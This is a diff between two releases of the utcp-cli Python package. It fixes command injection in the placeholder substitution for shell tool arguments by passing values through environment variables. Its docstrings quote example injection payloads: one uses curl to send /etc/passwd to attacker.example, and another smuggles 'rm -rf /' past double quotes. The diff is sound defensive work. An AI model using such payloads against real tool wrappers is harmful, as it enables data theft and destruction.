utcp-cli 1.1.2__tar.gz → 1.1.3__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: utcp-cli
3
- Version: 1.1.2
3
+ Version: 1.1.3
4
4
  Summary: UTCP communication protocol plugin for wrapping local command-line tools.
5
5
  Author: UTCP Contributors
6
6
  License-Expression: MPL-2.0
@@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta"
4
4
 
5
5
  [project]
6
6
  name = "utcp-cli"
7
- version = "1.1.2"
7
+ version = "1.1.3"
8
8
  authors = [
9
9
  { name = "UTCP Contributors" },
10
10
  ]
@@ -15,15 +15,34 @@ class CommandStep(BaseModel):
15
15
  placeholders that will be replaced with values from tool_args. Can also
16
16
  reference previous command outputs using $CMD_0_OUTPUT, $CMD_1_OUTPUT, etc.
17
17
 
18
- Placeholder substitution is shell-quoted (`shlex.quote` on Unix,
19
- PowerShell single-quoted literals on Windows) so that
20
- `tool_args` values cannot inject extra commands. As a
21
- consequence, each `UTCP_ARG_..._UTCP_END` placeholder always
22
- expands to **exactly one shell token**. Tools that previously
23
- relied on a single placeholder splitting into multiple flags
24
- (e.g. `UTCP_ARG_flags_UTCP_END` -> `--verbose --debug`) must now
25
- use one placeholder per intended flag. This change ships with
26
- utcp-cli 1.1.2 and addresses GHSA-33p6-5jxp-p3x4.
18
+ Placeholders are NOT inlined as text. Instead the protocol
19
+ emits a context-aware shell variable reference (`"$VAR"` /
20
+ `${VAR}` / `$env:VAR`) and ships the actual `tool_args`
21
+ value to the subprocess via an environment variable, so the
22
+ shell expands the value AFTER it has parsed the script.
23
+ Attacker-controlled bytes therefore cannot inject commands
24
+ or escape any quoting context.
25
+
26
+ A placeholder always substitutes a **single logical value**
27
+ (never a list of shell words) -- the substituted value
28
+ cannot be reinterpreted as additional shell syntax. Several
29
+ placeholders may appear within the same quoted region (e.g.
30
+ ``"https://api/UTCP_ARG_id_UTCP_END/UTCP_ARG_action_UTCP_END"``)
31
+ and they compose with the surrounding literal text into one
32
+ shell argument. Tools that previously relied on a single
33
+ placeholder splitting into multiple flags (e.g.
34
+ ``UTCP_ARG_flags_UTCP_END`` -> ``--verbose --debug``) must
35
+ now use one placeholder per intended flag. This change
36
+ ships with utcp-cli 1.1.3 and addresses GHSA-33p6-5jxp-p3x4
37
+ (including the residual double-quote-context bypass that
38
+ the inline ``shlex.quote`` strategy in 1.1.2 left open).
39
+
40
+ PowerShell limitation: a placeholder appearing inside a
41
+ single-quoted PowerShell string (``'...'``) raises
42
+ ``ValueError`` at script-build time -- PowerShell does not
43
+ expand variables inside single quotes, and rewriting the
44
+ surrounding token is too brittle. Use a double-quoted
45
+ string (``"..."``) instead.
27
46
  append_to_final_output: Whether this command's output should be included
28
47
  in the final result. If not specified, defaults to False for all
29
48
  commands except the last one.
@@ -48,9 +67,11 @@ class CommandStep(BaseModel):
48
67
  command: str = Field(
49
68
  description=(
50
69
  "Command string to execute, may contain UTCP_ARG_argname_UTCP_END "
51
- "placeholders. Each placeholder is shell-quoted at substitution "
52
- "time and therefore expands to exactly one shell token; use one "
53
- "placeholder per intended argument."
70
+ "placeholders. Each placeholder substitutes a single value via "
71
+ "a shell-variable reference chosen for its surrounding quote "
72
+ "context; substituted values cannot be reinterpreted as "
73
+ "additional shell syntax. Several placeholders may appear in "
74
+ "the same quoted region and compose into one argument."
54
75
  )
55
76
  )
56
77
  append_to_final_output: Optional[bool] = Field(
@@ -81,15 +102,29 @@ class CliCallTemplate(CallTemplate):
81
102
 
82
103
  Example: `echo "Previous result: $CMD_0_OUTPUT"`
83
104
 
84
- **Argument Substitution and Quoting (utcp-cli >= 1.1.2):**
85
- `UTCP_ARG_argname_UTCP_END` placeholders are replaced with the
86
- corresponding `tool_args` value, shell-quoted for the target shell
87
- (`shlex.quote` on Unix, PowerShell single-quoted literal on Windows).
88
- Each placeholder therefore expands to exactly one shell token. If a
89
- tool needs multiple flags or arguments, define multiple placeholders
90
- (one per flag) instead of relying on a single placeholder splitting
91
- on whitespace. This change closes the command-injection vector
92
- tracked as GHSA-33p6-5jxp-p3x4.
105
+ **Argument Substitution (utcp-cli >= 1.1.3):**
106
+ ``UTCP_ARG_argname_UTCP_END`` placeholders are replaced with a
107
+ context-aware shell variable reference (``"$VAR"`` outside quotes,
108
+ ``${VAR}`` inside double quotes, an adjacent-quote concat trick
109
+ inside single-quoted bash). The actual ``tool_args`` value is
110
+ shipped to the subprocess via a fresh, per-invocation env var; the
111
+ shell expands it at runtime AFTER it has parsed the script, so
112
+ attacker-controlled bytes cannot inject commands or escape any
113
+ quoting context.
114
+
115
+ A placeholder always substitutes a single logical value (never a
116
+ list of shell words). Several placeholders may appear in one
117
+ quoted region and compose with the surrounding text into one
118
+ argument (e.g.
119
+ ``"https://api/UTCP_ARG_id_UTCP_END/UTCP_ARG_action_UTCP_END"``).
120
+ If a tool needs multiple separate flags, use one placeholder per
121
+ flag in bare position. PowerShell single-quoted strings cannot
122
+ expand variables, so a placeholder inside ``'...'`` on Windows
123
+ raises ``ValueError`` at script-build time; use a double-quoted
124
+ string instead. This change closes the command-injection vector
125
+ tracked as GHSA-33p6-5jxp-p3x4 (and its residual
126
+ double-quote-context bypass that the inline ``shlex.quote``
127
+ strategy in 1.1.2 left open).
93
128
 
94
129
  **Subprocess Environment (utcp-cli >= 1.1.2):**
95
130
  The CLI subprocess no longer inherits the full host environment.
@@ -221,8 +256,12 @@ class CliCallTemplate(CallTemplate):
221
256
  commands: List[CommandStep] = Field(
222
257
  description=(
223
258
  "List of commands to execute in order. Each command can contain "
224
- "UTCP_ARG_argname_UTCP_END placeholders, which are shell-quoted "
225
- "on substitution and therefore expand to exactly one shell token."
259
+ "UTCP_ARG_argname_UTCP_END placeholders, which substitute a "
260
+ "single value via a shell-variable reference chosen for the "
261
+ "surrounding quote context. Substituted values cannot be "
262
+ "reinterpreted as additional shell syntax. Several placeholders "
263
+ "may appear in the same quoted region and compose into one "
264
+ "argument."
226
265
  )
227
266
  )
228
267
  env_vars: Optional[Dict[str, str]] = Field(
@@ -20,9 +20,9 @@ import asyncio
20
20
  import json
21
21
  import os
22
22
  import re
23
- import shlex
23
+ import secrets
24
24
  import sys
25
- from typing import Dict, Any, List, Optional, Callable, AsyncGenerator
25
+ from typing import Dict, Any, List, Optional, Tuple, AsyncGenerator
26
26
 
27
27
  from utcp.interfaces.communication_protocol import CommunicationProtocol
28
28
  from utcp.data.call_template import CallTemplate, CallTemplateSerializer
@@ -241,9 +241,15 @@ class CliCommunicationProtocol(CommunicationProtocol):
241
241
 
242
242
  try:
243
243
  # Execute commands using the same approach as call_tool but with no arguments
244
- env = self._prepare_environment(manual_call_template)
245
- shell_script = self._build_combined_shell_script(manual_call_template.commands, {})
246
-
244
+ base_env = self._prepare_environment(manual_call_template)
245
+ shell_script, arg_env = self._build_combined_shell_script(
246
+ manual_call_template.commands, {}
247
+ )
248
+ # Per-call __UTCP_ARG_* env vars carry placeholder values;
249
+ # layer them on top of the inherited+caller-supplied env so
250
+ # the references emitted into the script actually resolve.
251
+ env = {**base_env, **arg_env}
252
+
247
253
  self._log_info(f"Executing shell script for tool discovery from provider '{manual_call_template.name}'")
248
254
 
249
255
  stdout, stderr, return_code = await self._execute_shell_script(
@@ -323,68 +329,277 @@ class CliCommunicationProtocol(CommunicationProtocol):
323
329
  )
324
330
 
325
331
  @staticmethod
326
- def _shell_quote(value: str) -> str:
327
- """Quote a single value so it is interpreted as one literal token by
328
- the target shell (`bash` on Unix, `powershell.exe` on Windows).
329
-
330
- On Unix we delegate to `shlex.quote`. On Windows we wrap the value in
331
- a PowerShell single-quoted literal: inside such a literal everything
332
- is taken verbatim except `'` itself, which is escaped by doubling
333
- (`''`). This blocks the metacharacters PowerShell would otherwise
334
- interpret (`;`, `&`, `|`, `` ` ``, `$`, `(`, `)`, `<`, `>`, line
335
- breaks).
336
-
337
- Backs GHSA-33p6-5jxp-p3x4: the previous substitution did
338
- `str(tool_args[arg_name])` directly into the shell script, which
339
- allowed arbitrary command injection (e.g.
340
- `"data.csv; curl http://attacker.example/$(cat /etc/passwd)"`).
332
+ def _make_nonce() -> str:
333
+ """Generate an unguessable nonce that namespaces the env vars used
334
+ for argument substitution within a single tool invocation.
335
+
336
+ Prevents a template author from being able to write a literal
337
+ ``${__UTCP_ARG_<nonce>_<name>}`` reference that collides with our
338
+ substitution slot, which would re-introduce
339
+ unquoted-variable-expansion injection.
341
340
  """
342
- if os.name == 'nt':
343
- return "'" + value.replace("'", "''") + "'"
344
- return shlex.quote(value)
341
+ return secrets.token_hex(8)
345
342
 
346
- def _substitute_utcp_args(self, command: str, tool_args: Dict[str, Any]) -> str:
347
- """Substitute UTCP_ARG placeholders in command string with tool arguments.
343
+ @staticmethod
344
+ def _env_var_name(nonce: str, arg_name: str) -> str:
345
+ """Compute the env-var name that carries one substituted tool_arg
346
+ value into the subprocess. The nonce is fresh per invocation so
347
+ ``${__UTCP_ARG_<nonce>_<name>}`` literals cannot exist in
348
+ templates authored before invocation time.
349
+ """
350
+ return f"__UTCP_ARG_{nonce}_{arg_name}"
348
351
 
349
- Each substituted value is shell-quoted for the target shell so that
350
- attacker-controlled `tool_args` cannot escape the placeholder and
351
- inject extra commands. As a side effect, a placeholder always
352
- expands to exactly one shell token: callers that need to pass
353
- multiple flags / arguments must use multiple placeholders rather
354
- than splitting a single string at runtime.
352
+ _PLACEHOLDER_RE = re.compile(r'UTCP_ARG_([a-zA-Z0-9_]+?)_UTCP_END')
353
+
354
+ def _substitute_utcp_args(
355
+ self,
356
+ command: str,
357
+ tool_args: Dict[str, Any],
358
+ nonce: str,
359
+ ) -> Tuple[str, Dict[str, str]]:
360
+ """Substitute ``UTCP_ARG_<name>_UTCP_END`` placeholders in a
361
+ command string by emitting context-appropriate shell variable
362
+ references and recording the actual values as env vars on the
363
+ returned dict. The caller wires those env vars into the
364
+ subprocess (alongside the call template's ``env_vars`` and the
365
+ host-inheritance allowlist) so the shell expands them at
366
+ runtime, AFTER it has already parsed the script. As a result,
367
+ attacker-controlled ``tool_args`` never get spliced into the
368
+ script source and therefore cannot inject commands or escape
369
+ any quoting context.
370
+
371
+ Quote-state tracking ensures the emitted reference is correct
372
+ for its surrounding context:
373
+
374
+ bash (Unix):
375
+ - bare: ``"$VAR"`` (quoted: no word splitting)
376
+ - inside double quotes: ``${VAR}`` (bash expands inside dq)
377
+ - inside single quotes: ``'"$VAR"'`` (close sq, dq with var,
378
+ reopen sq -- bash treats
379
+ adjacent quoted regions
380
+ as a single token)
381
+
382
+ powershell (Windows):
383
+ - bare: ``$env:VAR``
384
+ - inside double quotes: ``$env:VAR`` (PS expands inside dq)
385
+ - inside single quotes: ValueError -- PS does not expand inside
386
+ single-quoted strings, so
387
+ we cannot safely
388
+ substitute without
389
+ rewriting the entire
390
+ surrounding token. Author
391
+ must use a double-quoted
392
+ string.
393
+
394
+ Backs GHSA-33p6-5jxp-p3x4. An earlier fix that did inline
395
+ ``shlex.quote``-style substitution was still vulnerable when
396
+ the placeholder sat inside a surrounding ``"`` region: e.g.
397
+ template ``curl "https://api/UTCP_ARG_id_UTCP_END"`` with
398
+ ``id = '"; rm -rf /; "'`` produced
399
+ ``curl "https://api/'"; rm -rf /; "'"``, where bash's parser
400
+ closed the outer dq early and ran the injected commands.
355
401
 
356
402
  Args:
357
- command: Command string containing UTCP_ARG_argname_UTCP_END placeholders
358
- tool_args: Dictionary of argument names and values
403
+ command: Command string containing
404
+ ``UTCP_ARG_<name>_UTCP_END`` placeholders.
405
+ tool_args: Dictionary of argument names and values.
406
+ nonce: Per-invocation nonce used to namespace generated env
407
+ vars.
359
408
 
360
409
  Returns:
361
- Command string with placeholders replaced by shell-quoted values
410
+ Tuple ``(command, env)`` where ``command`` is safe to embed
411
+ in a shell script and ``env`` is the additional env vars
412
+ the subprocess must receive for the references to expand.
362
413
  """
363
- # Pattern to match UTCP_ARG_argname_UTCP_END
364
- pattern = r'UTCP_ARG_(.+?)_UTCP_END'
414
+ if os.name == 'nt':
415
+ return self._substitute_powershell(command, tool_args, nonce)
416
+ return self._substitute_bash(command, tool_args, nonce)
365
417
 
366
- def replace_placeholder(match):
367
- arg_name = match.group(1)
368
- if arg_name in tool_args:
369
- return self._shell_quote(str(tool_args[arg_name]))
418
+ def _substitute_bash(
419
+ self,
420
+ command: str,
421
+ tool_args: Dict[str, Any],
422
+ nonce: str,
423
+ ) -> Tuple[str, Dict[str, str]]:
424
+ env: Dict[str, str] = {}
425
+ out: List[str] = []
426
+ state = "normal" # "normal" | "dq" | "sq"
427
+ i = 0
428
+ n = len(command)
429
+
430
+ def collect(name: str) -> str:
431
+ v = self._env_var_name(nonce, name)
432
+ if name in tool_args:
433
+ env[v] = str(tool_args[name])
370
434
  else:
371
- self._log_error(f"Missing argument '{arg_name}' for placeholder in command: {command}")
372
- return self._shell_quote(f"MISSING_ARG_{arg_name}")
435
+ self._log_error(
436
+ f"Missing argument '{name}' for placeholder in command: {command}"
437
+ )
438
+ env[v] = f"MISSING_ARG_{name}"
439
+ return v
440
+
441
+ while i < n:
442
+ m = self._PLACEHOLDER_RE.match(command, i)
443
+ if m is not None:
444
+ v = collect(m.group(1))
445
+ if state == "normal":
446
+ out.append(f'"${v}"')
447
+ elif state == "dq":
448
+ out.append(f"${{{v}}}")
449
+ else: # sq -- break out, dq the var, reopen sq
450
+ out.append(f"'\"${v}\"'")
451
+ i = m.end()
452
+ continue
453
+
454
+ ch = command[i]
455
+ if state == "normal":
456
+ if ch == "'":
457
+ state = "sq"
458
+ out.append(ch)
459
+ elif ch == '"':
460
+ state = "dq"
461
+ out.append(ch)
462
+ elif ch == "\\" and i + 1 < n:
463
+ out.append(ch)
464
+ out.append(command[i + 1])
465
+ i += 2
466
+ continue
467
+ else:
468
+ out.append(ch)
469
+ elif state == "dq":
470
+ if ch == "\\" and i + 1 < n and command[i + 1] in '"\\$`\n':
471
+ out.append(ch)
472
+ out.append(command[i + 1])
473
+ i += 2
474
+ continue
475
+ if ch == '"':
476
+ state = "normal"
477
+ out.append(ch)
478
+ else:
479
+ out.append(ch)
480
+ else: # sq -- only `'` ends the string. No expansion, no escapes.
481
+ if ch == "'":
482
+ state = "normal"
483
+ out.append(ch)
484
+ else:
485
+ out.append(ch)
486
+ i += 1
373
487
 
374
- return re.sub(pattern, replace_placeholder, command)
488
+ return "".join(out), env
489
+
490
+ def _substitute_powershell(
491
+ self,
492
+ command: str,
493
+ tool_args: Dict[str, Any],
494
+ nonce: str,
495
+ ) -> Tuple[str, Dict[str, str]]:
496
+ env: Dict[str, str] = {}
497
+ out: List[str] = []
498
+ state = "normal" # "normal" | "dq" | "sq"
499
+ i = 0
500
+ n = len(command)
501
+
502
+ def collect(name: str) -> str:
503
+ v = self._env_var_name(nonce, name)
504
+ if name in tool_args:
505
+ env[v] = str(tool_args[name])
506
+ else:
507
+ self._log_error(
508
+ f"Missing argument '{name}' for placeholder in command: {command}"
509
+ )
510
+ env[v] = f"MISSING_ARG_{name}"
511
+ return v
512
+
513
+ while i < n:
514
+ m = self._PLACEHOLDER_RE.match(command, i)
515
+ if m is not None:
516
+ if state == "sq":
517
+ raise ValueError(
518
+ f"Placeholder UTCP_ARG_{m.group(1)}_UTCP_END appears "
519
+ f"inside a PowerShell single-quoted string in "
520
+ f"command: {command}\n"
521
+ f"PowerShell does not expand variables inside single "
522
+ f"quotes, so this cannot be substituted safely. Use a "
523
+ f'double-quoted string ("...") around the placeholder '
524
+ f"instead."
525
+ )
526
+ v = collect(m.group(1))
527
+ # Both bare and dq accept `$env:VAR` -- PowerShell expands
528
+ # it inside double-quoted strings.
529
+ out.append(f"$env:{v}")
530
+ i = m.end()
531
+ continue
532
+
533
+ ch = command[i]
534
+ if state == "normal":
535
+ if ch == "'":
536
+ state = "sq"
537
+ out.append(ch)
538
+ elif ch == '"':
539
+ state = "dq"
540
+ out.append(ch)
541
+ elif ch == "`" and i + 1 < n:
542
+ out.append(ch)
543
+ out.append(command[i + 1])
544
+ i += 2
545
+ continue
546
+ else:
547
+ out.append(ch)
548
+ elif state == "dq":
549
+ if ch == "`" and i + 1 < n:
550
+ out.append(ch)
551
+ out.append(command[i + 1])
552
+ i += 2
553
+ continue
554
+ if ch == '"':
555
+ state = "normal"
556
+ out.append(ch)
557
+ else:
558
+ out.append(ch)
559
+ else: # sq -- PS: `''` is an escaped single quote inside the literal.
560
+ if ch == "'" and i + 1 < n and command[i + 1] == "'":
561
+ out.append(ch)
562
+ out.append(command[i + 1])
563
+ i += 2
564
+ continue
565
+ if ch == "'":
566
+ state = "normal"
567
+ out.append(ch)
568
+ else:
569
+ out.append(ch)
570
+ i += 1
571
+
572
+ return "".join(out), env
375
573
 
376
- def _build_combined_shell_script(self, commands: List[CommandStep], tool_args: Dict[str, Any]) -> str:
574
+ def _build_combined_shell_script(
575
+ self,
576
+ commands: List[CommandStep],
577
+ tool_args: Dict[str, Any],
578
+ ) -> Tuple[str, Dict[str, str]]:
377
579
  """Build a combined shell script from multiple commands.
378
-
580
+
581
+ Returns both the script and the env-var contributions
582
+ accumulated across all command steps. Callers must merge these
583
+ env vars into the subprocess environment so the placeholder
584
+ references the script writes (``$VAR`` / ``${VAR}`` /
585
+ ``$env:VAR``) actually resolve to the original tool_arg values
586
+ at runtime.
587
+
379
588
  Args:
380
589
  commands: List of CommandStep objects to combine
381
590
  tool_args: Tool arguments for placeholder substitution
382
-
591
+
383
592
  Returns:
384
- Shell script string that executes all commands in sequence
593
+ Tuple ``(script, env)`` -- script is the shell script
594
+ source, env is the additional ``__UTCP_ARG_*`` env vars to
595
+ inject.
385
596
  """
386
- script_lines = []
387
-
597
+ script_lines: List[str] = []
598
+ accumulated_env: Dict[str, str] = {}
599
+ # One nonce per script -- shared across all command steps so the
600
+ # env-var contributions land in a consistent namespace.
601
+ nonce = self._make_nonce()
602
+
388
603
  # Add error handling and setup
389
604
  if os.name == 'nt':
390
605
  # PowerShell script
@@ -395,14 +610,18 @@ class CliCommunicationProtocol(CommunicationProtocol):
395
610
  script_lines.append('#!/bin/bash')
396
611
  # Don't use set -e to allow error output capture and processing
397
612
  script_lines.append('# Variables to store command outputs')
398
-
613
+
399
614
  # Execute each command and store output in variables
400
615
  for i, command_step in enumerate(commands):
401
- # Substitute UTCP_ARG placeholders
402
- substituted_command = self._substitute_utcp_args(command_step.command, tool_args)
403
-
616
+ # Substitute UTCP_ARG placeholders -- emits shell-variable
617
+ # references, contributes the actual values via env.
618
+ substituted_command, step_env = self._substitute_utcp_args(
619
+ command_step.command, tool_args, nonce
620
+ )
621
+ accumulated_env.update(step_env)
622
+
404
623
  var_name = f"CMD_{i}_OUTPUT"
405
-
624
+
406
625
  if os.name == 'nt':
407
626
  # PowerShell - capture command output in variable
408
627
  script_lines.append(f'${var_name} = {substituted_command} 2>&1 | Out-String')
@@ -427,8 +646,8 @@ class CliCommunicationProtocol(CommunicationProtocol):
427
646
  else:
428
647
  # Unix shell
429
648
  script_lines.append(f'echo "${{{var_name}}}"')
430
-
431
- return '\n'.join(script_lines)
649
+
650
+ return '\n'.join(script_lines), accumulated_env
432
651
 
433
652
  async def _execute_shell_script(self, script: str, env: Dict[str, str], timeout: float = 60.0, working_dir: Optional[str] = None) -> tuple[str, str, int]:
434
653
  """Execute a shell script in a single subprocess.
@@ -697,11 +916,17 @@ class CliCommunicationProtocol(CommunicationProtocol):
697
916
  self._log_info(f"Executing CLI tool '{tool_name}' with {len(tool_call_template.commands)} command(s) in single subprocess")
698
917
 
699
918
  try:
700
- env = self._prepare_environment(tool_call_template)
701
-
702
- # Build combined shell script with output capture
703
- shell_script = self._build_combined_shell_script(tool_call_template.commands, tool_args)
704
-
919
+ base_env = self._prepare_environment(tool_call_template)
920
+
921
+ # Build combined shell script with output capture. The
922
+ # script's placeholders are emitted as `$VAR` / `${VAR}` /
923
+ # `$env:VAR` references; the actual tool_arg values come
924
+ # back as `arg_env`.
925
+ shell_script, arg_env = self._build_combined_shell_script(
926
+ tool_call_template.commands, tool_args
927
+ )
928
+ env = {**base_env, **arg_env}
929
+
705
930
  self._log_info("Executing combined shell script")
706
931
 
707
932
  # Execute the combined script in a single subprocess
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: utcp-cli
3
- Version: 1.1.2
3
+ Version: 1.1.3
4
4
  Summary: UTCP communication protocol plugin for wrapping local command-line tools.
5
5
  Author: UTCP Contributors
6
6
  License-Expression: MPL-2.0
@@ -10,4 +10,4 @@ src/utcp_cli.egg-info/entry_points.txt
10
10
  src/utcp_cli.egg-info/requires.txt
11
11
  src/utcp_cli.egg-info/top_level.txt
12
12
  tests/test_cli_communication_protocol.py
13
- tests/test_security.py
13
+ tests/test_cli_security.py
@@ -488,23 +488,28 @@ else:
488
488
 
489
489
  @pytest.mark.asyncio
490
490
  async def test_placeholder_substitution():
491
- """Test that UTCP_ARG placeholders are properly substituted."""
491
+ """Test that UTCP_ARG placeholders are properly substituted.
492
+
493
+ As of utcp-cli 1.1.3, substitution emits a shell-variable reference
494
+ in the script and ships the actual value via env var.
495
+ """
492
496
  transport = CliCommunicationProtocol()
493
-
494
- # Test placeholder substitution using the actual method name
497
+
495
498
  command_template = "echo UTCP_ARG_message_UTCP_END --count UTCP_ARG_count_UTCP_END"
496
499
  args = {
497
500
  "message": "hello world",
498
- "count": 42
501
+ "count": 42,
499
502
  }
500
-
501
- substituted = transport._substitute_utcp_args(command_template, args)
502
-
503
- # Check that placeholders are properly replaced
503
+ nonce = "TESTNONCE"
504
+ substituted, env = transport._substitute_utcp_args(command_template, args, nonce)
505
+
506
+ # Placeholder form must be gone from the script.
504
507
  assert "UTCP_ARG_message_UTCP_END" not in substituted
505
508
  assert "UTCP_ARG_count_UTCP_END" not in substituted
506
- assert "hello world" in substituted
507
- assert "42" in substituted
509
+ # Raw values must appear in the env contribution, not the script.
510
+ assert env[f"__UTCP_ARG_{nonce}_message"] == "hello world"
511
+ assert env[f"__UTCP_ARG_{nonce}_count"] == "42"
512
+ assert "hello world" not in substituted
508
513
 
509
514
 
510
515
  @pytest.mark.asyncio
@@ -644,8 +649,8 @@ async def test_command_output_referencing(transport: CliCommunicationProtocol, p
644
649
  )
645
650
 
646
651
  # Build the shell script to verify it contains the expected structure
647
- script = transport._build_combined_shell_script(call_template.commands, {})
648
-
652
+ script, _ = transport._build_combined_shell_script(call_template.commands, {})
653
+
649
654
  # Verify the script contains output capture variables
650
655
  assert "CMD_0_OUTPUT" in script
651
656
  assert "echo generated_value" in script